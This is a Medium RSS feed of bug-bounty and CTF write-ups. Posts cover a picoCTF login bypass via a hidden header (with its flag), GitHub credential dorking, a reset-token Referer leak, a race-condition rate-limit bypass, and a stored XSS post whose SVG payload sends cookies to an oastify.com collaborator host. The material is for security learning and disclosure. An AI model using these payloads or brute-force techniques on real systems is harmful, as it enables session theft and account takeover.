<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Karimmahgoub on Medium]]></title>
        <description><![CDATA[Stories by Karimmahgoub on Medium]]></description>
        <link>https://medium.com/@karimmahgoub11?source=rss-d905aaaeb98b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*km8q-qcLI07_mbYB</url>
            <title>Stories by Karimmahgoub on Medium</title>
            <link>https://medium.com/@karimmahgoub11?source=rss-d905aaaeb98b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 17:36:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@karimmahgoub11/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Bypassing Login Without Password — Challenge Walkthrough]]></title>
            <link>https://medium.com/@karimmahgoub11/bypassing-login-without-password-challenge-walkthrough-3d4e1c9c2666?source=rss-d905aaaeb98b------2</link>
            <guid isPermaLink="false">https://medium.com/p/3d4e1c9c2666</guid>
            <dc:creator><![CDATA[Karimmahgoub]]></dc:creator>
            <pubDate>Wed, 19 Nov 2025 20:55:48 GMT</pubDate>
            <atom:updated>2025-11-19T20:55:48.843Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Bypassing Login Without Password — Challenge Walkthrough</strong></h3><p><strong>بِسْمِ اللَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ، عَلَّمَ الإِنسَانَ مَا لَمْ يَعْلَمْ، وَالصَّلَاةُ وَالسَّلَامُ عَلَى خَيْرِ مُعَلِّمٍ.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*iNqn_7R1lr8-NBx1D2sXDQ.png" /></figure><p><strong>Hello Hackers!</strong><br> This is security researcher <strong>Karim Elsyead</strong>, also known as <strong>“The Dragon.”</strong><br> Unfortunately, today we’re not hunting vulnerabilities — <br> but we <em>are</em> going to walk through how I extracted the flag from this challenge.<br> Follow along step by step to see exactly how I managed to capture the flag</p><p><strong>A very important note before we begin the writeup:</strong><br> There’s a neat trick in this challenge. You’re given an email,<br> but you <strong>don’t</strong> have the password.<br> Your goal is to extract the flag <strong>without logging in</strong><br> and without performing any kind of <strong>password bruteforce</strong>.</p><p>The idea is that the program actually leaves you a clue<br> that allows you to access the login functionality in another way.<br> Follow along with me — don’t worry, we’ll break it down step by step</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*i-GpkdTaSK6owo8gjOBYlQ.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CO2VxXWA6PqE-e-6hUa5Pw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WGvb0xlQk4dPM9zZDhjt3Q.png" /></figure><p><strong>First, go to the website and enter the email address that was provided to you.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*AXMvEz1le9BQcfBWubKadg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*45lPLTiGRphj1GAf1Tst2w.png" /></figure><p><strong>Now, to solve the problem and gain access to the account, we’ll create a backdoor.</strong><br> This means we’ll <strong>review the code carefully</strong> to find a way in.<br> Follow along with me</p><p><strong>After revealing the code, you’ll notice a problem — and this is the backdoor that will allow us to bypass the password.</strong><br> It’s a <strong>coding mistake</strong>, and the part you highlighted is exactly what we’ll use to create the backdoor and skip the password check.<br> We’ll take this piece of code and <strong>decode it</strong> to understand how the bypass works</p><pre>&lt;!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre &quot;K-Qri-Npprff: lrf&quot; --&gt;<br>&lt;!-- Remove before pushing to production! --&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d-ad9VFgcFjElA9_AfJlSw.png" /></figure><p><strong>After we decrypted the code, we examined the source code.<br> When inspecting the Login page using View Source, I noticed a hidden comment inside the HTML.After decrypting it, it became clear that the developer had left a backdoor.And this means that the developer left a backdoor that allows bypassing the login using a specific header.</strong></p><pre>&lt;!-- NOTE: Jack - temporary bypass: use header &quot;X-Dev-Access: yes&quot; --&gt;</pre><p><strong>The code on the page uses JSON, and therefore the server expects JSON.<br> I performed a login bypass using the secret header.<br> Using the browser console, I sent a request containing the discovered header.<br> The server accepted the request without requiring any password and returned the flag</strong></p><pre>fetch(&#39;/login&#39;, {<br>    method: &#39;POST&#39;,<br>    headers: {<br>        &#39;Content-Type&#39;: &#39;application/json&#39;,<br>        &#39;X-Dev-Access&#39;: &#39;yes&#39;<br>    },<br>    body: JSON.stringify({<br>        email: &quot;ctf-player@picoctf.org&quot;,<br>        password: &quot;anything&quot;<br>    })<br>})<br>.then(response =&gt; response.json())<br>.then(data =&gt; console.log(data))<br>.catch(err =&gt; console.error(err));</pre><p>What does this code do?<br> It sends a POST request to /login.<br> It adds the secret header:</p><pre>X-Dev-Access: yes</pre><p>It sends it with any password because it doesn’t matter.<br> The server returns:</p><pre>success: true<br>flag: picoCTF{...}</pre><p>The next step is to go to the console, add the following code, and congratulations on getting the flag</p><pre>picoCTF{brut4_f0rc4_125f752d}</pre><p>Thank you for listening.<br> If there was any shortcoming on my part, it is from the devil.<br> I hope you benefited from this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3d4e1c9c2666" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I found exposed credentials in a public repo
 A single config file exposed — and why it matters]]></title>
            <link>https://medium.com/@karimmahgoub11/how-i-found-exposed-credentials-in-a-public-repo-a-single-config-file-exposed-and-why-it-matters-141f0b57aaf5?source=rss-d905aaaeb98b------2</link>
            <guid isPermaLink="false">https://medium.com/p/141f0b57aaf5</guid>
            <dc:creator><![CDATA[Karimmahgoub]]></dc:creator>
            <pubDate>Thu, 16 Oct 2025 11:48:06 GMT</pubDate>
            <atom:updated>2025-10-16T11:48:06.468Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I found exposed credentials in a public repo<br> A single config file exposed — and why it matters</h3><p><strong>بِسْمِ اللَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ، عَلَّمَ الإِنسَانَ مَا لَمْ يَعْلَمْ، وَالصَّلَاةُ وَالسَّلَامُ عَلَى خَيْرِ مُعَلِّمٍ.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*9uAn0AHwyswlFNYEHtOBvA.gif" /></figure><p>Hello and welcome,<br> In this post I discuss the importance of scanning public repositories — especially GitHub — as part of security reconnaissance. During my review of a target I discovered a publicly accessible configuration file that contained sensitive fields. The finding was handled responsibly and reported to the relevant security team. In this article I will show how to identify such issues responsibly, explain their risks, and provide recommendations to prevent recurrence</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*HVj0W8bQNjnyi0JJkHLvYQ.gif" /></figure><p>Go to GitHub and type into the search bar \&quot;test.com\&quot; \&quot;password\&quot; and check whether any information has been leaked — sometimes developers accidentally leave sensitive data while building sites and forget to remove i</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IlTEGusUd90e0wvn-xYBiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*jaIHAqrvRWX9HNPWOp5dYQ.gif" /></figure><p>Good — we’re at a good point. Take the leaked email and check whether it actually appears. If you find it, congratulations — document the vulnerability and report it to the security team</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JWIPKJ3zLgPfPefYKP2dyA.png" /></figure><p>Capture redacted screenshots of all relevant evidence and report it to the site’s security team — but first confirm that this type of vulnerability is in-scope for their program</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*OdtXoEIL3emo9kNsv_P8-A.png" /></figure><p>And with that we’ve finished today’s vulnerability. I hope I was able to help you, even with one piece of information. Don’t forget Gaza in your prayers. Thank you for listening</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*hnRpdtGR3y8jBb92JUNJWA.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=141f0b57aaf5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Critical: Password reset token disclosure through third-party widgets]]></title>
            <link>https://medium.com/@karimmahgoub11/critical-password-reset-token-disclosure-through-third-party-widgets-c1729d64a55b?source=rss-d905aaaeb98b------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1729d64a55b</guid>
            <dc:creator><![CDATA[Karimmahgoub]]></dc:creator>
            <pubDate>Sun, 05 Oct 2025 19:38:33 GMT</pubDate>
            <atom:updated>2025-10-05T19:38:33.447Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>بِسْمِ اللَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ، عَلَّمَ الإِنسَانَ مَا لَمْ يَعْلَمْ، وَالصَّلَاةُ وَالسَّلَامُ عَلَى خَيْرِ مُعَلِّمٍ.</strong></p><p>Hello hackers, good evening. I am Karim, a security researcher and I love discovering vulnerabilities</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*W9kzxkjaJ7qup0T_ZgsV6Q.gif" /></figure><p>During testing of test.om I discovered a low-complexity vulnerability in the password reset flow. I was able to register an account and request a password reset; the verification email arrived and I was redirected to the password reset page. However, I observed that the reset token appeared in the page URL and could be exposed. The reset page also includes social media icons, which increases the risk of the token being sent to third-party domains via the Referer header. This behavior may result in token disclosure and potential account takeover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*VzAtciSMD7KRsOjgozCHjA.gif" /></figure><p><strong>Steps to Reproduce</strong></p><p>Create a test account</p><p>1-Register a new account on test.om (use a test email).</p><p>2-Purpose: have an account you can request a password reset for.</p><p>Request a password reset</p><p>1- From the login page click “Forgot password” / “Reset password.</p><p>2-Enter the test account email and request the reset link/code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SQmX6cAhN_ePOd90ZR2MGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sHGuiDwrXR0Vk_nWGJgu0Q.png" /></figure><p>Open the reset link</p><p>1- Open the verification email and click the password reset link (or otherwise open the link sent).</p><p>2- Open the page in a browser with DevTools → Network panel active.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1HUQBvYb_Hw7PfRCJdjTvw.png" /></figure><p>Observe the token in the URL</p><p>1- Check the address bar. If you see a query parameter or fragment that looks like token=… or #…, that strongly indicates the token is exposed.</p><p>2- Expected: the token should not be visible in the URL (it should be handled securely/server-side).</p><p>On the password reset page the reset token is exposed in the URL. The page footer contains social media icons. If you intercept the request (for example using Burp Suite) you will observe that the token is included in the Referer header sent to external domains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*7v5JzfnXU9yzQNif-_fP-A.png" /></figure><p>One-line concise</p><ul><li>The password reset token is exposed in the page URL and can be sent to third-party domains via the Referer header. This leakage allows an attacker who obtains the token to reset the account password and perform an account takeover. Immediate mitigation is recommended.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*KbinG1lHeopgyiFrIiOanA.gif" /></figure><p>In conclusion, I would like to thank you for your attention, and please don’t forget Gaza in your sincere prayers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/274/1*tq3qXYKzmkHTn-1KozQNmw.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1729d64a55b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stored XSS via Malicious SVG Upload — Session Cookie Exfiltration]]></title>
            <link>https://medium.com/@karimmahgoub11/stored-xss-via-malicious-svg-upload-session-cookie-exfiltration-d29633c2bdf5?source=rss-d905aaaeb98b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d29633c2bdf5</guid>
            <category><![CDATA[123b]]></category>
            <dc:creator><![CDATA[Karimmahgoub]]></dc:creator>
            <pubDate>Fri, 03 Oct 2025 07:52:59 GMT</pubDate>
            <atom:updated>2025-10-04T20:13:00.088Z</atom:updated>
            <content:encoded><![CDATA[<h3>Stored XSS via Malicious SVG Upload — Session Cookie Exfiltration</h3><p><strong>بِسْمِ اللَّهِ الَّذِي عَلَّمَ بِالْقَلَمِ، عَلَّمَ الإِنسَانَ مَا لَمْ يَعْلَمْ، وَالصَّلَاةُ وَالسَّلَامُ عَلَى خَيْرِ مُعَلِّمٍ.</strong></p><p>Hello hackers, today’s vulnerability is easy and it’s the xss.svg vulnerability</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*bkuwkJP2Nls_E3GHUKTrpg.gif" /></figure><h3>Quick Summary (one line)</h3><p>While browsing target.com I found an account settings page that allows uploading a profile image. I uploaded an SVG POC that referenced an external control server (Burp Collaborator / OAST). When the file was rendered, an interaction appeared in the Collaborator, proving the SVG was loaded/rendered and indicating a potential stored/display XSS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CviA0XMR8HjeCgvbwi-sfQ.png" /><figcaption>. . .</figcaption></figure><p><strong>Therefore, the first idea that came to my mind was to inject JavaScript code into an image file, upload it to the website, and then observe how the application would handle it.</strong></p><p>In the end</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*06liDmCEMYln0BYSuEB0dA.gif" /></figure><h3>First step</h3><p><em>I created an SVG image file on my local machine and injected an initial JavaScript payload into it to observe how the website would handle it. I then uploaded the image to the application.</em></p><p>Use the following code</p><h4>&lt;?xml version=”1.0&quot; encoding=”UTF-8&quot;?&gt;<br>&lt;svg xmlns=”http://www.w3.org/2000/svg&quot; viewBox=”0 0 500 500&quot;&gt;<br> &lt;script&gt;<br> //&lt;![CDATA[<br> alert(document.domain);<br> new Image().src = “https://j3nrtcll7pp55lebwvz59dnl0c63uwil.oastify.com/log?d=&quot; + encodeURIComponent(document.cookies);<br> //]]&gt;<br> &lt;/script&gt;<br>&lt;/svg&gt;</h4><h3>Second step</h3><p><em>I navigated to the image’s endpoint and opened it in the browser, where the code executed successfully and the payload ran as intended.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EAnvfDrQsyrlJVnvGM0WWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*RMc-jXb02SCEFl40nLatiw.gif" /></figure><p>But there is a modification to make the impact of the vulnerability stronger and through the ease of obtaining the victim’s information and I can do that by adding the link for collborator And wait, as soon as you click on the image and the error message appears, it will keep sending a notification to collborator The notification that arrived http And with it ip My user, that’s all. I hope you read the report again. I am grateful for your cooperation. Thank you in advance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jvq5i30Na6n_SMfI-vLcxQ.png" /></figure><p>And with that, the vulnerability’s privileges have been escalated — as soon as anyone visits your profile it will redirect to mine. That’s all the vulnerabilities I have for today. See you, hackers</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d29633c2bdf5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Race Condition — Eating Rate Limits for Account Takeover]]></title>
            <link>https://medium.com/@karimmahgoub11/race-condition-eating-rate-limits-for-account-takeover-4c6dbdbfa1a5?source=rss-d905aaaeb98b------2</link>
            <guid isPermaLink="false">https://medium.com/p/4c6dbdbfa1a5</guid>
            <category><![CDATA[5555]]></category>
            <category><![CDATA[00004]]></category>
            <dc:creator><![CDATA[Karimmahgoub]]></dc:creator>
            <pubDate>Mon, 01 Sep 2025 13:21:36 GMT</pubDate>
            <atom:updated>2025-09-03T08:32:55.485Z</atom:updated>
            <content:encoded><![CDATA[<h3>Race Condition — Eating Rate Limits for Account Takeover</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*phKovIKyneOKrJfYU1RBQw.png" /><figcaption><strong>Summary</strong></figcaption></figure><p>Race condition vulnerability occurs when websites process requests concurrently. Race conditions typically occurs in multi-threaded or multi-process environments where multiple threads or processes are competing for shared resources. A race condition attack depends on the relative timing of events and an attacker can manipulate this timing to cause unintended behavior in the application to perform some malicious tasks.</p><p><strong>Description</strong></p><p>I have found a race condition using which I was able to bypass the implemented rate limit on the login panel and was able to take over the account. On a website’s login panel, rate limit was implemented and I was not able to perform a brute force attack as the rate limit was blocking me but using the modified script for race condition I was able to bypass that rate limiting mechanism which led me to successful authentication bypass and get into an account.</p><p><strong>Anatomy of Race Condition Vulnerability</strong></p><p>Race conditions are often sensitive to timing and the success of an attack depends on precise timing manipulations. The period of time during which a collision is possible is known as the “race window”.</p><p><strong><em>What is Race Window ?</em></strong></p><p><strong>Race Window</strong> refers to a time-frame during which a vulnerability can be exploited due to the concurrent execution of multiple threads or processes. It is the period in which the outcome of the program or system depends on the order and timing of events, leading to unexpected and insecure behavior.</p><p><strong>Example for easy understanding</strong></p><p><strong><em>Scenario: Help Desk Login Portal with Rate Limit</em></strong></p><p>Imagine a company has a help desk login portal where employees enter their credentials. To prevent brute force attacks, the system has a rate limit that allows only 5 login attempts per minute from a single IP address.</p><p><strong>Normal Behavior (Rate Limit Working Correctly)</strong></p><ul><li>You enter a wrong password</li><li>You try again</li><li>After 5 failed attempts, the system blocks further login attempts for 1 minute</li></ul><p>Now normally, this prevents attackers from trying thousands of passwords quickly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vD8bYyci5_fF5pxGDDIjvg.png" /><figcaption>Normal Rate Limit Mechanism Flow</figcaption></figure><p><strong>How the Race Condition Bypasses the Rate Limit</strong></p><p>Instead of sending one login request at a time, you use a crafted script that:</p><ol><li>Queues 100 login requests at once behind a “gate”</li><li>Sends all 100 requests simultaneously when the gate opens</li></ol><p><strong><em>The flaw in the server’s logic:</em></strong></p><ul><li>The rate limit counter updates after processing each login request</li><li>Since all 100 requests arrive at the same time, the server doesn’t block them immediately</li><li>The server validates passwords first, then increments the rate limit counter</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rVeqbP7NQhhZvUDxJUNOYg.png" /><figcaption>Race Condition — Bypassing Rate Limit</figcaption></figure><p><strong><em>Result:</em></strong></p><ul><li>Even though only 5 attempts per minute are allowed, you successfully send 100 password guesses before the counter updates (for demo I have only shown 6 attempts in above image instead of 100)</li><li>If one of those passwords is correct, you gain access to the account before the rate limit blocks you.</li></ul><p><strong>NOTE: </strong>In above diagram I have shown 6th attempt because the rate limit that is being triggered after 5th invalid attempt will not be triggered here as the requests are queued and once all the 6 requests are launched the rate limit will be incremented by 1 only as all the requests reached the login panel at almost same time.</p><p><strong>How I found this vulnerability ?</strong></p><ol><li>I went on the target website’s login panel, intercepted the login request &gt; right click &gt; Extensions &gt; Turbo Intruder &gt; Send to turbo intruder</li></ol><p>2. In Turbo Intruder, I loaded the modified script and from the notepad I just selected all the passwords, right clicked and copied it (a clipboard copy) and clicked on Attack</p><p>3. After the completion of 100 requests in parellel, I got the valid credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m4zmLXDjVQM_bDo8eJcJwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*eXPB6CrLeU-g9IrPVI0OtQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ljg7GF3V6OM4zLtkIh8qrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DhtKbqrV-VlWVm9-FCP-5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PC5wO9cGJp-Tg01wVq1Z8Q.png" /><figcaption>Modified Script — Race Condition Rate Limit Bypass</figcaption></figure><p><strong>NOTE: </strong>You will find the similar script <a href="https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits"><strong>HERE</strong></a><strong> </strong>but it didn’t work for me, so I modified it a bit. For using the above script you can visit here<strong> </strong><a href="https://github.com/JerryShah3/Scripts-and-Payloads/issues/1"><strong>Github</strong></a>.</p><p><strong>Why this happened ?</strong></p><p>In my opinion,</p><p>The bypass happened because the server checked the login credentials first and updated the rate limit counter afterwards, creating a timing gap (race window). When I flooded it with multiple login attempts in parallel, the server processed all the guesses before it could count them as separate attempts. This let me identify the correct password without triggering the rate limit, as the server only counted the attack as “1 try” instead of “100 tries”. The flawed order of operations and poor synchronization allowed me to “race ahead” of the rate limit.</p><p><strong>Impact</strong></p><p>The vulnerability allows attackers to bypass rate limits and identify the credentials of any user which ca lead to credential compromise and account takeover.</p><p><strong>CVSS Score &amp; Explanation</strong></p><p><strong><em>Vector String:</em> </strong>CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N</p><p><strong><em>Score:</em></strong> 3.7 Low</p><p><strong><em>Explanation:</em></strong></p><p>Attack Vector (Network): The attacker can access the project over the network, as it’s a web application.</p><p>Attack Complexity (High): The race condition attack needs precise timing for a succession</p><p>Privileges Required (None): The attacker does not need any privilege to perform this attack</p><p>User Interaction (None): No additional user interaction is needed for the attacker to exploit the vulnerability.</p><p>Scope (Unchanged): The affected application is maintained by the same security authority.</p><p>Confidentiality (Low): There is an exposure of valid credentials on succession</p><p>Integrity (None): The attacker is not able to modify any data here</p><p>Availability (None): The overall website remains accessible</p><p><strong>Mitigation</strong></p><p>To mitigate this issue it is recommended to implement below fixes</p><ol><li><strong>Atomic Rate Limiting</strong>: Increment the rate limit counter before validating credentials, not after.</li><li><strong>Lock Shared Resources</strong>: Use locks/mutexes to prevent parallel processing of login attempts for the same account.</li><li><strong>Reject Overloaded Packets</strong>: Treat HTTP/2 multiplexed requests as multiple individual attempts, not one.</li><li><strong>Add Server-Side Delays</strong>: Introduce throttling (e.g., 2-second delay) after failed logins to slow brute-force attacks.</li></ol><p><strong>NOTE: </strong>Sorry for the delay in blogs as I was busy in certifications. I recently completed <a href="https://www.credential.net/dfcae317-f3d0-4846-9952-c596da585f2d#acc.YUzac0MW"><strong>OSCP</strong></a><strong>+, </strong><a href="https://www.credential.net/7fa870d9-25b9-42ae-8d55-6553fdcc995d#acc.wSmIOnkc"><strong>OSCP</strong></a><strong>, </strong><a href="https://www.credential.net/3ed31724-da39-4f8c-a242-4402fb4d62a5#acc.CvLDPNoa"><strong>CRTP</strong></a><strong>, </strong><a href="https://www.credential.net/f68f4e4a-0cc7-4c24-9209-11af21751d3f#acc.P1Qo3Mjt"><strong>CRTSv2</strong> </a>and <a href="https://www.credential.net/d39516c6-c353-42a3-bfe0-d98023b2f661#acc.uzxpU2la"><strong>CRTA</strong> </a>for red teaming.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4c6dbdbfa1a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[not rate limit password]]></title>
            <link>https://medium.com/@karimmahgoub11/not-rate-limit-password-29f9747a9e75?source=rss-d905aaaeb98b------2</link>
            <guid isPermaLink="false">https://medium.com/p/29f9747a9e75</guid>
            <dc:creator><![CDATA[Karimmahgoub]]></dc:creator>
            <pubDate>Wed, 30 Jul 2025 10:42:27 GMT</pubDate>
            <atom:updated>2025-07-30T10:42:27.518Z</atom:updated>
            <content:encoded><![CDATA[<p>not rate limit password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NL5awPrwIsVxpeeDuq5lSQ.png" /></figure><blockquote><em>When attempting to log in to the website, the user realizes they forgot the password and begins submitting random credentials repeatedly.<br> It was observed that there is no rate limiting or restriction on the number of failed login attempts.<br> This indicates a potential weakness on the server side and may be classified as a brute-force protection bypass.<br> Based on this behavior, we proceed to the next stage of the assessment.</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29f9747a9e75" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>